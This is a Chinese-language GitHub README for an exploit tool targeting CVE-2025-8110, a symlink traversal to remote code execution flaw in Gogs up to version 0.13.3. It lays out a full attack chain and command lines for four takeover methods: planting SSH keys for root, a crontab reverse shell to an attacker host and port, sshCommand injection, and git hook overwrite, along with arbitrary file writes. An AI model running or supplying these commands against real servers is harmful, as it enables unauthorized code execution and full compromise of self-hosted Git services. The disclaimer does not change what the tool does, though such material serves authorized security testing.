popyue/CVE-2025-8110

GitHub: popyue/CVE-2025-8110

一款针对 Gogs 符号链接遍历至 RCE 漏洞的利用工具,演示从认证到文件覆盖与触发代码执行的完整攻击链。

Stars: 0 | Forks: 0

# CVE-2025-8110 — Gogs 符号链接遍历 → RCE ## 概述 **CVE-2025-8110** 是 [Gogs](https://gogs.io)(自托管 Git 服务)版本 **<= 0.13.3** 中的严重漏洞。`PutContents` API 在写入文件时会对路径进行目录遍历(`../`)校验,但**未解析符号链接**。已认证用户可以推送包含指向任意服务器文件的符号链接的提交,随后对该符号链接调用 `PutContents` 即可用攻击者控制的内容覆盖真实文件。 此漏洞绕过了先前的修复 **CVE-2024-55947**,该修复仅处理了直接路径遍历,未涵盖基于符号链接的遍历。 | 详情 | 值 | |---|---| | **CVE** | CVE-2025-8110 | | **受影响** | Gogs <= 0.13.3 | | **已修复** | Gogs 0.13.4 | | **类型** | 已认证任意文件写入 → RCE | | **CVSS** | 8.8(高危) | | **组件** | PutContents API(`/api/v1/repos/:owner/:repo/contents/:path`) | ## 要求 - Python 3.8+ - `requests`(`pip install requests`) - `git` 命令行工具 - 目标实例上拥有有效的 Gogs 账户 ## RCE 策略 此漏洞利用工具支持 **4 种内置 RCE 策略** 以及通用文件写入模式: | 策略 | 标志 | 目标文件 | 触发条件 | |---|---|---|---| | **A — SSH 密钥** | `--rce-keys` | `/root/.ssh/authorized_keys` | SSH 登录 | | **B — 计划任务** | `--rce-cron` | `/etc/crontab` | 自动执行(60 秒内) | | **C — sshCommand** | `--rce-ssh` | `.git/config` | SSH Git 操作 | | **D — Git 钩子** | `--rce-hook` | `hooks/pre-receive` | git push 时执行 | | **通用** | `--write` | 任意路径 | 手动写入 | ## 使用方法 ``` # 检查目标是否易受攻击(无需凭据) python3 exploit.py http://target:3000 --check-only # 策略 A:为 root 植 SSH 密钥 python3 exploit.py http://target:3000 -u user -p pass \ --rce-keys ~/.ssh/id_rsa.pub --cleanup # 策略 B:Crontab 反向 shell python3 exploit.py http://target:3000 -u user -p pass \ --rce-cron --lhost 10.10.14.5 --lport 4444 # 策略 C:sshCommand 注入 python3 exploit.py http://target:3000 -u user -p pass \ --rce-ssh --lhost 10.10.14.5 --lport 4444 # 策略 D:Git hook 注入 python3 exploit.py http://target:3000 -u user -p pass \ --rce-hook --lhost 10.10.14.5 --lport 4444 # 通用文件写入 python3 exploit.py http://target:3000 -u user -p pass \ --write --target-file /tmp/pwned --content "proof-of-concept" # 从本地文件写入 python3 exploit.py http://target:3000 -u user -p pass \ --write --target-file /root/.ssh/authorized_keys \ --content-file ~/.ssh/id_rsa.pub ``` ### 攻击链路详解 1. **认证** — 通过基本认证(`POST /api/v1/users/:user/tokens`)创建 API 令牌,使用 API 令牌登录。 2. **创建仓库** — 发送 `POST /api/v1/user/repos`,设置 `auto_init: true`(自动初始化仓库)。 3. **推送符号链接** — 通过 HTTP 克隆仓库(凭证嵌入 URL),创建指向目标文件的符号链接,提交并推送(git clone -> os.symlink(target) -> git push)。 4. **通过符号链接写入** — 对符号链接执行 `PUT /api/v1/repos/:owner/:repo/contents/:link`,提交 base64 编码的内容。Gogs 会在磁盘上解析符号链接并写入真实文件(PUT /api/v1/repos/.../contents/link_name)。 5. **触发 RCE** — 根据所选策略触发 RCE(SSH 登录、计划任务、sshCommand 求值或钩子执行)。 ## 选项 ``` target Gogs base URL (e.g. http://target:3000) Authentication: -u, --user Gogs username -p, --password Gogs password RCE Strategies: --rce-keys PUBKEY Plant SSH pubkey → /root/.ssh/authorized_keys --rce-cron Reverse shell → /etc/crontab --rce-ssh Poison .git/config sshCommand + trigger --rce-hook Overwrite pre-receive hook + trigger --write Generic arbitrary file write Connection / Payload: --lhost LHOST Attacker IP for reverse shell --lport LPORT Attacker port for reverse shell --target-file PATH Server path to overwrite (--write mode) --content STRING Content to write --content-file FILE Local file to write Options: --repo NAME Repository name (default: random) --cleanup Delete exploit repo after completion -o, --output FILE Report file (default: loot.json) --timeout SECONDS Request timeout (default: 15) --proxy URL HTTP proxy for debugging --check-only Only check if target is Gogs, don't exploit ``` ## 参考 - [Wiz 研究博客](https://www.wiz.io/blog/wiz-research-gogs-cve-2025-8110-rce-exploit) - [NVD — CVE-2025-8110](https://nvd.nist.gov/vuln/detail/CVE-2025-8110) - [Gogs 修复 PR #8078](https://github.com/gogs/gogs/pull/8078) - [GHSA-mq8m-42gh-wq7r](https://github.com/advisories/GHSA-mq8m-42gh-wq7r) ## 免责声明 本工具仅限**授权的安全测试与教育用途**。未经授权访问计算机系统属于违法行为。作者不承担任何误用责任。请仅在自己拥有或已获得明确书面许可的系统上使用。
标签:API 漏洞, CISA项目, Crontab 反弹, CSV导出, CVE-2024-55947, CVE-2025-8110, Git Hook, Git 服务, Gogs, PutContents, Python 渗透, RCE, SSH 密钥写入, 任意文件写入, 文件覆盖, 符号链接遍历, 网络安全审计, 认证绕过, 路径遍历绕过, 逆向工具